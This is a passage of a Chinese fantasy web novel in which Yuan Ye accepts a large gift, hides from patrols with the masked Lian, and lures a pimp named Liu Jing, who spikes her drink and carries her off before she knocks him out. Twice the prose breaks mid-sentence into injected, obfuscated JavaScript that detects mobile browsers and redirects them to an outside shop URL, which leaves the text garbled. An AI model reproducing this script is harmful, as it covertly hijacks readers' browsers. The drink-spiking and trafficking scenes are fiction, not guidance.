她抬眸看了眼雅彦,见他模样认真,便低头拿过手机,对着卡片扫了下。 看到弹出的八位数余额,原叶的瞳孔骤然缩小。 这! 这么大方吗! 本就泄了一半的气顿时全消了,原叶不可置信地看着雅彦:“你认真的吗?你……你这可不是小数目。” 雅彦颔首,餐厅柔和的灯光为他打上一层朦胧如纱般的色彩,冶艳近妖的五官也似蒙上柔雾,显出温文尔雅的气质。 他唇边含了笑,目光认真,“嗯,抚恤金本来就是你的,多的部分是我自愿赠与。如果你不放心,我们也可以签赠与协议。” 雅彦说着,翻开刚才一起拿来的文件夹,递给原叶。 原叶愣怔地接过,定睛一看,赫然是一份财产赠与协议,金额条款周密齐全。 再一看那金额,与卡里的数字完全对的上,原叶顿时晕晕乎乎,一阵头重脚轻,仿佛屁股下面坐的不是椅子,而是云霄过山车。 今天到底怎么回事?雅彦怎么会突然送她钱?还给这么多? “你这是……” 原叶迟疑片刻,小心翼翼地观察着雅彦的脸色,试探性地开口。 “雅彦,你……你是不是要死了?” 咔嚓。 原叶的眼睛一下瞪圆了。 雅彦面无表情地放下被掰成两截的餐刀,揉了揉眉心,薄唇里溢出很轻的叹息:“……不是。” 才意识到自己刚才说了什么,原叶手忙脚乱地找补:“啊!对不起,我不是那个意思,就是,就是太吃惊了,你怎么突然给我钱呢?这,这一点预兆也没有的……” “嗯,是有点突然。”雅彦似乎不再介意,他双臂环胸,靠在椅背上,只有语气稍显无奈,“其实,这本来也是你和阿姨的份,这些年我爸没有给过她钱,也没有尽过什么义务,让你们过得很辛苦。” 雅彦顿了一下,“这是我个人的一点心意,希望你收下。” “啊……我明白了,谢谢你。”原叶讷讷地说。 她将文件夹双手递回给雅彦:“协议就不用签了,我相信你。” 钱她能先花着,签协议可不行,她没有伊甸园的合法身份认证,如果签了协议,拿去公证的时候会立刻暴露。 雅彦很轻地笑了下,重新拿起餐叉,“嗯,继续吃吧。今天的碗我收拾。” “好。”原叶抽了两张纸巾擦干净刚才溅到桌上的水渍,端起热巧一饮而尽。 雅彦……好像和她想象中的不太一样。 他好像……是个好人? 22. 第 22 章 深夜,中央商区熙熙攘攘,原叶斜倚在小巷的灯箱旁,低头看手机。 雅彦一口气给了她那么多钱,还有一张她能直接刷用的卡,几乎直接颠覆了她对他的印象。 原叶插在兜里的指尖摸着略带凉意的卡,想起不久前还在找门路花现金购物的窘境,她用力晃了晃脑袋,多少还有些不现实感。 “呦。” 一道清朗的男声响起。 原叶应声抬头,小巷外,熙熙攘攘的人流中,莲单手插兜,另一手朝她随意地挥了挥。 “发什么呆呢?”莲毫不客气地走近。 见莲过来,原叶下意识熄灭手机屏幕,将刚刚正在看的雅彦给她的卡面余额界面关闭。 “没什么。”原叶收起手机,从灯箱旁站直身子,拍掉衣袖上的尘土。 莲依旧戴着面具,只是换了十字架纹样,衣服也成了更为小众的哥特机能风,宽大的工装裤系着夸张的金属装饰腰带,挺拔的上身套着一件紧身镂空黑色上装,连着一个兜帽,正好将漆黑的面具包进去。原本略显突兀的面具因此成了穿搭配饰的一部分,显得既个性又和谐。 原叶上下打量他一番,忍不住说:“你好潮啊。” 莲低声笑了下,鞠躬撤步,手臂上的铆钉臂环与装饰链叮当碰响,叠戴着数枚戒指和腕镯的手抚上前胸,做了个看似谦虚的回礼姿势,“谢谢,你也是。” 原叶下意识低头看看自己,虽然她今天特别注意了下穿搭,没有像上次那样不小心穿了长短不一的袜子,但最多也只是清爽利落,根本够不上莲那种看一眼就会得风湿的地步。 知道莲是在客气,原叶皱皱鼻子,目光嫌弃地扫过莲面具上的十字架浮雕。 “说真的,你就非要戴那个面具吗?要不是最近熔炉庆典预热,你这身打扮可太显眼了。” 下个月就是伊甸园一年一度的熔炉庆典,纪念大清洗的胜利,提前一个月预热,所有住民共同庆祝。 庆典期间,伊甸园上下三层会举办多场舞台演出,演员会打扮成异族的模样,被象征正义的圣裁军演员追打砍杀,最后再爆出大量的金币给舞台下的观众。 这是一年中伊甸园最盛大的活动,绝大多数居民都会选在此时释放积压一整年的压力,身着奇装异服,聚集观赏演出,饮酒作乐。 预热期间起,街上值守巡逻的圣裁军的数量有所增加,但因庆典氛围烘托,穿着奇异的居民越来越多,莲这样的打扮也就不显得突兀。 莲笑道:“就这么好奇我面具下面是什么?” 原叶不置可否地耸耸肩,“当然,毕竟我们现在是搭档了,连你脸都没见过,感觉怪怪的。” “嗯……你说的有道理。” 莲忽然一本正经地点头。 “那就给你看一眼吧。” “你看过我面具下面的模样,要帮我保密哦。” 真能看到?!她没听错吧? 原叶愣怔一瞬,忙不迭地点头,“你放心,我会保密的。谁也不告诉。” “好。”莲轻笑一声。 他抬腕,动作优雅地摘掉兜帽,半长的黑发散落下来,盖住白皙的耳廓,银色的耳骨钉在昏暗的小巷依旧熠熠生辉。 莲随意将头发捋到脑后,修长的手指伸入面具下缘,缓慢地向上揭起。 随着面具一点点上移,原叶紧张得喉咙不断滚动,目不转睛。 莲的手顿了下,随即飞快地将面具向上推起,露出脸上五颜六色的皮肤。 五颜六色……的皮肤? 是光线问题吗? 原叶呆愣着,下意识走到莲面前垫起脚,定睛一看,顿时气血上涌。 莲的面具下面是更花哨的骷髅头面具,两个大黑眼眶里还写着彩色的文字,左边写着“逗你”,右边写着“玩儿”。 “好哇你!敢耍老子!” 原叶勃然大怒,抬脚就去踩莲的鞋。 莲大笑着躲开,长臂一伸,飞快擒住她的手腕,一把将她拽进怀里。 原叶怒火中烧,满脸通红地挣扎,莲却按住她的肩膀,俯身在她耳侧悄声道:“别动,圣裁军巡逻。” “真的?在哪?”原叶推拒的动作一滞,背部骤然绷紧。 虽说她在伊甸园还没暴露,但从前在污染区被圣裁军收拾得太狠,以至于现在听见这三个字都有种蟑螂见了拖鞋般的心理阴影。 莲的胸膛规律起伏,将她裹得更紧,原叶的脸被迫挤压在温软的胸肌上,鼻端满是莲隐约透出体表的清冽血香,晕晕乎乎间,她听见莲笑了声,结实的胸膛深处随之震颤,连着她的心脏也咚地一颤。 莲冷硬的面具擦过她耳侧,压低的声气如羽毛般轻柔,“我身后,七点钟方向。过来了。” 原叶顿时浑身紧绷,“再敢骗我你就死定了。” 莲顿了下,似乎想说什么,身后倏然传来一声厉喝—— “那边的小情侣!证件出示下!” 耳边响起金属碰撞的脚步声,巡逻圣裁军大步走了过来。 草啊,真的过来了! 他们说什么?查证件? 见鬼! 听着越来越近的脚步声,原叶冷汗都下来了,也顾不上被叫成小情侣的尴尬,缩在莲怀里,浑身抖得像老奶奶筛糠。 她没有证件啊!! 今年开始,负责巡逻的圣裁军身上都新配备了高清摄像头,后台有AI实时监测画面,如果为了逃避查证件,正面对他们支配魔眼,她眼睛变红的瞬间,身份就会彻底暴露! 原叶头发根都炸了起来。 怎么办! 逃跑吗?不行,那摆明了告诉人家她有问题。 要说证件没带吗?不行,那肯定会被要求刷脸,可她的脸根本没在伊甸园的公民系统里! 该死该死该死! 无证黑户原叶在心里疯狂尖叫。 肯定是莲这个晦气的死装男把圣裁军招来了! 她一个人来这片的时候从来都不会被查证件的! 干! “哦?” 正当原叶不知所措时,头顶忽然响起莲凉飕飕的声音,按在她肩膀上的手松开,莲不着痕迹地拉下面具戴好,冷冷地转过身。 “查证件?” 生怕被圣裁军拍到脸,原叶不敢抬头,双手紧紧攥着莲的衣服,掩耳盗铃似的将脸埋在他胸口。 脚步声越来越近,原叶紧张地咬着下唇,颈后忽然一热,莲温热的手掌覆住她的后颈,将她的脸按在胸前,遮住了圣裁军审视的视线。 他的手臂动了下,掏出什么东西递了过去。 “别打扰我们。” 两名圣裁军接过那东西,明显吃一惊,其中一个小声对另一个说:“喂,这不是……” 另一个人似乎用手肘捅了一下说话的那个,急急地压低声音:“闭嘴!” “抱歉,失礼了。”为首的圣裁军毕恭毕敬地双手将那东西递回,“请您原谅,他是新来的,不……” 不等那人说完,莲便随意挥挥手,“去吧。” “是!”两名圣裁军猛地立正,朝莲行了一礼,迈着僵硬的步伐离开了。 原叶听见他们走远,立即推开莲,心有余悸地摸着胸口顺气,“好险啊,幸好他们没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374744|199138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查我……” 莲凉飕飕的目光瞥过来:“你没带证件?让我猜猜,合法身份也没有?” 原叶摸着后脑勺,憨厚一笑:“你怎么知道?” “一看就知道了。”莲从鼻尖发出一声轻哼般的气音,“要不是特别心虚,你能往我身上凑?” “下次想让我帮忙打掩护可以直说,不用这么使劲儿抓我。” 他拽了拽胸前的衣服,修长的手指抚过被攥出来的褶皱,笑音略带揶揄。 “要是我穿了乳.钉,非得让你扯下来不可。” 莲的尾音拖得意味深长,原叶不由联想到他描述的场景,惊觉自己刚才手忙脚乱中好像确实拧到了什么柔软的凸起,脸上轰地烧起来。 可恶啊!怎会如此! 原叶臊得满脸通红,面子上挂不住,嘴上依然下意识反击:“那、那我也不知道你能应付过去啊,下、下次再说吧!” 她说完,目光又忍不住飘到刚才拧过的地方,见那两块布料抚平后依然有褶皱,背后顿时像有许多蚂蚁在爬。 好半晌,原叶耐不住良心谴责,又从牙缝里挤出一句细如蚊蝇的道歉:“不、不好意思啊……” 莲很轻地笑了声,朝她伸出手。 原叶迟疑了一下,站在原地没有躲开。莲执起她垂落颈侧的一缕长发,缓缓从头顺到尾。 莲的指尖涂着漆黑的甲油,骨节分明的白皙手指缓慢缠绕着丝丝缕缕的墨发,犹如池间被水草缠缚的白蛇,妖异惑人。 原叶不自然地偏头,抿唇问:“为什么他们对你那么有礼貌?我还没听到过圣裁军会对平民道歉。” “因为我是他们云游在外的老祖宗。”莲笑起来,指腹慢条斯理地摩挲着原叶黑绸般的发丝,“看见祖爷爷,当然毕恭毕敬了,恨不得给我磕两个呢。” “……你听听你说的是人话吗。”原叶无语至极。 莲朗声大笑。 原叶撇了撇嘴,从他手里拽回头发,“不愿意说算了,不影响任务就行。” 她大概能猜到莲想隐瞒什么。 轻易获得的离岛监狱内部设计图纸,不会被圣裁军搜查的僻静半山别墅,以及刚才巡逻圣裁军毕恭毕敬的态度。 种种迹象都表明莲在伊甸园里的身份不一般,甚至有可能和异端审判会相关。 但莲毫无疑问是个异族,她亲眼见他施展多种强大的异能,伊洛缇娅对他也非常信任。 好矛盾。 如果他是审判会的人,怎么会去劫狱带走卢卡斯?现在还一起抓柳井?但如果他和异端审判会没关系,那刚才巡逻过来的圣裁军为什么对他这么忌惮? 原叶想不明白,只觉得莲身上充满谜团。 和这样一个人一起出任务,总觉得心里有点没底。 但不知是为什么,内心某处总有个细微的声音,隐秘地告诉她莲可以信任,这声音甚至随着她与他接触日渐清晰。 原叶用力摇晃脑袋。 这百年光顾着荒野求生增长武力值了,几乎没和人接触,脑子好像没怎么发育似的,想想这些与人相关的事就头疼。 可恶,到底怎么回事啊。 死脑子,快想啊! 或许是她晃头的动作太突然,莲忍俊不禁似地笑问她怎么了,原叶咬了咬下唇,索性当作没想过,仰天长叹一声,说:“没什么,到时间了,咱们还是按计划进行是吧。” “嗯,”莲重新戴上兜帽,舒展了下身体,“计划不变。” “好。” 仔细回忆一遍莲和她讲过的分工内容,原叶与莲拉开距离,二人一前一后进入俱乐部。 23. 第 23 章 灯火喧嚣,人声鼎沸的夜店里,一名戴着眼镜的男子独自坐在吧台前,愤懑地扒拉着头发。 柳井最近过得不顺。 由他亲自潜伏发掘,加上上司牵线运作才好不容易骗进伊甸园的狼人被劫走了。 暴跳如雷的老头上司甩出一段录像,把他骂得狗血喷头。 他看了那录像,是离岛监狱的内部监控,不知道入侵者用了什么手段,高清镜头里只拍到两团污渍似的模糊东西。 那两团脏东西一路飘进关押狼人的单间,然后不知做了什么,狼人的身影也在摄像头中像个屁一样化开,这三团灰不拉几的模糊影子畅通无阻地冲出走廊,融化了一整层监牢栅栏,引发暴动,弄出一堵金属熔成的厚墙塞满了半条通道,还连带破坏了那一片的监控。 据说现场一枚指纹都没提取到,脚印也都被破坏,什么痕迹都没留下。 见鬼了,这都什么事啊? 那俩玩意儿到底是什么,幽灵吗? 柳井捏紧酒杯,愤愤低头闷了一口。 死老头子骂他工作不力,但这和他有什么关系?他的工作在把狼人骗进监狱之后就结束了啊! 是他闯进监狱的吗?是他把狼人偷走的吗?是他引发的暴乱吗? 凭什么全额扣他奖金? 服了。 柳井胸膛起伏,越想越气。 让他把狼人找回来?尸位素餐的死老头子上下嘴皮子一碰就说狗话,也不想想这在现在可能吗? 人家早就有防备了啊,他又有什么招?他当初能把狼人骗进来已经很了不起了啊?现在人跑了,他也一肚子火啊! 不多给他点帮手,就知道抬出什么“永生计划是内部绝密,不可声张不可大行搜查”之类的理由堵他想多要人手的话,嘴里说着重视他只有他能干这个活,结果净给他出难题! 一口闷了杯中酒,柳井食指点点杯口,相熟的酒保立即过来给他重新满上。 臭老头子的活儿他自然得想办法应付,但急也急不来,那狼人就像人间蒸发了似的,到处都搜寻不到。好在各个出口都已经严密封锁,那狼人跑不出伊甸园,迟早得落在他手里。 柳井一边喝酒,一边嚼着火腿片,半盘肉下肚,心思又活络起来。 奖金被扣了是很肉疼,但钱财总还是要进账的,大不了他还有老本行。 虽然这次轰炸毁了平民区的酒吧街,害他损失了好几个常驻那里的好孩子,但商务区的客单价能叫得高,他还是能有的赚。 点开手机,看着群里手下的鸡鸭一条接一条报备出台的消息,柳井灰蒙蒙的眼珠骨碌碌一转,放下酒杯,混入人群中。 数小时后,商区最大的俱乐部。 音波轰鸣的夜店区,一名年轻女子披散着如黑绸般的头发,穿着衬衫和短裤,独自一个人坐在角落的卡座,面前的小桌上摆满小吃和酒瓶。 她对过来搭讪的人不冷不热,只一口接一口喝着酒,显得有些格格不入。 嘈杂昏暗的人群中,一道奸诈老辣的目光越过无数扭动跳跃的身体,锁定在卡座里一个人喝闷酒的女人身上,唇边缓缓浮出微笑。 柳井今晚已经把中央商区的酒吧和俱乐部都跑了一遍,恰逢熔炉庆典预热,加上平民区的酒吧街在轰炸中损毁,商区的几家酒吧客流明显增加,想要放纵的人也越来越多。 几小时内便连成十几单,柳井愤懑的心情也随着后台不断地进账一扫而空。 乘胜追击!再成一单,今晚就收工! 看着不远处显然很有成交潜力的年轻女人,柳井笑呵呵地扒开人群,朝她走去。 那女人穿着质感极佳的衬衫,脖颈间戴着一条皮质choker,侧对着他斜倚在卡座沙发上,颀长的腿交叠在一起,马丁靴锃亮,姿态却恹恹的,透着一股颓唐。 她似乎醉得不轻,纤细的指间倦怠地夹着一张高级别黑卡,不断刷着桌边上点单界面,又叫了两瓶高价烈酒。 有钱、年轻、一个人喝闷酒、拒绝搭讪。 难啃,但如果能拿下,绝对能大赚一笔。 柳井势在必得,阴恻恻地扶了下银丝眼镜,走到近前。那年轻女人正伸手拽过酒瓶,豪放地往杯子里倒。 粉紫色的霓虹灯光闪烁,将女人绸缎般的黑发照得光彩熠熠。她转过头来,纤巧的下巴微微扬着,五官玲珑剔透,气质纯净,恍若神妃仙子,然而眉眼间却带着难以言说的哀伤和憎恶,隐隐透出暴戾的神色,中和掉了那股不食人间烟火的距离感,让她看着既脆弱又……恶毒。 柳井看得怔住,下意识停住脚步。 他盯着那女子,越看越觉得眼熟,好像以前在哪见过似的。 那种堪称异样的纯净美貌和傲慢恶劣的神态…… 他见过! 是那个很久前在受过情伤,离家出走到平民区酒吧买醉的落魄富二代! 柳井握着酒杯的手有些颤抖。 他记得当初就看上她漂亮找过她,本想介绍手下的鸭子给她,慢慢从她身上榨钱,最后骗她下海,但是那时她好像警惕性很高,没说两句话就干脆地拒绝了,他没能得逞。 但现在呢……? 你都醉成一团浆糊了,想必也不记得我了吧。 天赐良机! 当初的一箭之仇,现在就是报的时候! 柳井牙根咯吱作响,扭曲的笑意虬结在嘴边,他缓缓吐出一口气,面部肌肉抽搐几下,换上温文尔雅的面孔,信步向女子走去。 …… 演技全开的原叶斜倚在卡座上,随手放下酒瓶,懒懒地抱着满当当的酒杯,有一搭没一搭地抿着。 她在这里守株待兔很久,都没见到柳井出现,正打算跟莲说一声换家店继续蹲时,余光忽然瞥见一个男的拨开人群,目标明确地朝她走来。 以为又是来搭讪的普通人,原叶本不打算理会,灯影幢幢间,她忽然瞥见男人斑白的两鬓,隐约眼熟的五官,和握着酒杯的手。 半指手套。 脑内“乒——”地闪光,原叶的神经瞬间兴奋。 来了。 …… 柳井端着酒杯,很绅士地上前同原叶打招呼,“呀,好久不见。”他顺势坐到原叶身边,“怎么又来酒吧了?心情不好?” “你谁啊,让你坐了吗?”原叶冷冷呛声,“滚。” 柳井面不改色,语气受伤:“啊呀,你不记得我了吗?好伤心。” “有病吧你。”原叶白了他一眼,自顾自地转过头,又抿了一口酒。 “你真的不记得我了吗?我叫张晖,咱们以前在晓见过。”柳井殷切道。 “你有完没完?”原叶眯起眼睛,上下打量他,语气不耐,“我说了不记得!” 见原叶骂归骂,行动上似乎又没有明显赶他走的意思,柳井笑眯眯地举起酒杯,讨好地低低碰了下原叶的酒杯。 “就是平民区酒吧街最火的那家啊,当时你坐在吧台。” “啊?那么久的事鬼记得,早不去那片喝酒了。”原叶胡乱挥挥手,漂亮的眉眼蹙起,“没事别打扰我,我现在心情不好。” 柳井耐下性子,恳切道:“我知道,但是咱俩真见过,当时咱们还聊天来着,我觉得你特豪爽,对你印象特别好。” 见原叶微微抬起眉毛,看向他的目光似乎有所软化,柳井暗道这马屁拍着了。 他心中暗喜,循循善诱道:“心情不好的时候,一个人喝闷酒更难受。我陪你一起吧?有什么不开心的都可以跟我说。” 原叶不屑地打量他一眼,眼神像在看一只地沟里的蟑螂:“就你?你不是想蹭我的酒喝吧?” 柳井额角弹起青筋,不动声色地磨着后槽牙,刚挤出笑脸,原叶又像赶苍蝇似地挥了挥手。 “算了,想喝就喝吧,反正我也喝不完。赏你了。” 这性格真有够恶劣! 新仇旧恨叠加,柳井恨不得立刻剥了原叶的皮擦屁股,他面上不显,依旧笑眯眯地拿起酒斟满,“谢谢,我的荣幸。” 他朝原叶点头示意,仰脖一饮而尽,亮出杯底。 “你倒是爽快……”原叶拧过脸去,并不看他,嘴里嘟嘟囔囔,“要是他跟你一样爽快就好了,烦死了。” 说着,她端起酒杯大口喝干,又豪放地斟满,酒液冲得急,摇摇晃晃地从杯边泼出来。 柳井敏锐地捕捉到重点,边拿过纸巾擦桌,边小心翼翼地观察她的脸色,“有人对你不好吗?别喝的这么急,对嗓子不好呀。” 谁知不提还好,柳井刚说完,就看见原叶眼眶瞬间红了,唇角也抿成一条向下的弧线。 “你怎么哪壶不开提哪壶?你有病吧?” 晶莹的眼泪在杏眼里打转,原叶的眼神憎恨又迷离,瞳仁虚虚地晃着,她深深吸了口气,再呼出来时,带着明显的哭腔,“……连陌生人都知道关心我,他却,他却……我没做错!凭什么这么对我!!草啊!!” 原叶大喊一声,用手捂住脸,呜呜地哭起来。 柳井一看找对了突破口,心中暗喜,就像一个严防死守的蚌壳,终于翘开了一条小缝。 他迫不及待地想将那蚌肉取出,表面上仍不动声色,面露痛惜,“如果不介意,可以和我说说,反正咱们是素昧平生,你的秘密在我这很安全。” 原叶抽泣着打了个嗝,漂亮的眼睛湿漉漉地,像是不服气,又像是抓住了希望的稻草,殷红的唇颤动着,声气低微:“真的?” “当然。”柳井按捺下激动,温和谨慎地点点头,为她斟酒。 原叶看着杯子里的琥珀般的酒,双手捏紧杯子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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又是几大杯下肚,原叶已经彻底醉了,她两颊绯红,眼神越发迷离,大着舌头说:“兄弟,你、你懂我!” 任由原叶用力拍着他的肩膀,柳井笑得和蔼亲切,谦虚地迎合,原叶大手一挥,按出点单页面,“你还有没有什么想吃想喝的?说!我、我买单!” 柳井心中嘲笑原叶幼稚又愚蠢,推托着半推半就的点了两份便宜的小吃,趁原叶转头刷卡之际,借着倒酒的动作,悄悄将药片投进她的酒杯里。 无色无味的药片接触酒液的瞬间便融化得无影无踪,一无所知的原叶点完单,端起杯子一饮而尽。 药很快见效,原叶软软地倒在卡座上,还犹自举起一只手,弯出一的形状,挣扎着抬起,摇摇晃晃地指着他,声音渐渐微弱:“你是个好人,不是坏人,一、一开始我还以为你不怀好意呢……唔……” 哪有坏人会说自己是坏人呢! 柳井几乎被蠢笑了。 这女人空有一副皮囊,脑子连猪都不如,真是枉费他费尽心思试探。早知道是这么个没脑子的草包,他当年就该多努力一把直接给她绑下海。就凭她这身条件,现在他该赚老了。 算了,过去的事已经过去,现在也不晚,这就是上天给他的机会!他太幸运了! 柳井笑着看原叶迷蒙的双眼一点点合上,身体从卡座上缓缓歪倒,垂头陷入沉睡。 他不再掩饰阴险恶毒的眼神,毫无怜惜地抓住原叶的胳膊将她一把拽起,搭在自己的肩膀上,半夹半抱地拖着原叶走出俱乐部。 愚蠢的臭娘们,浪费他宝贵的时间精力,必须先玩透了才解恨。 柳井将原叶像丢一袋垃圾似的扔进车后排,自己走上驾驶位,借着醉意一路狂飙,回到一处僻静的公寓。 他本想着去附近酒店,又觉得那边道具不够齐全,玩也玩不痛快,干脆直接带回了家里。 公寓门口,柳井低头找钥匙,但失去意识的原叶紧紧挂在他身上,挡住装钥匙的口袋,叫他怎么也不得劲儿,够了半天也掏不出来。 他没了耐心,索性松开抓着原叶胳膊的手,昏迷不醒原叶像团肉袋子似地扒着他滑下,垂头瘫软在地上。 钥匙……钥匙…… 有了! 柳井迫不及待地将钥匙插进锁孔,咔哒一声打开门,他推开门,弯下身去拉原叶。 即将握住她胳膊的瞬间,他耳侧忽然有凉风袭过,伴随着金属链相互碰撞的细碎声响,一股巨力猛地砸进后脑! “呃啊——” 剧痛炸开,脑壳嗡嗡作响,白花花的脑浆仿佛雪克杯里摇晃的奶昔,柳井眼前一片空白。 失去意识前,柳井惊愕地看见刚才还昏迷不醒的原叶不知何时睁开了双眼,正朝他竖起中指。 她目光清明,殷红的唇边挂着嘲讽的笑,月光照在她脸上,两颗獠牙泛着森白的光。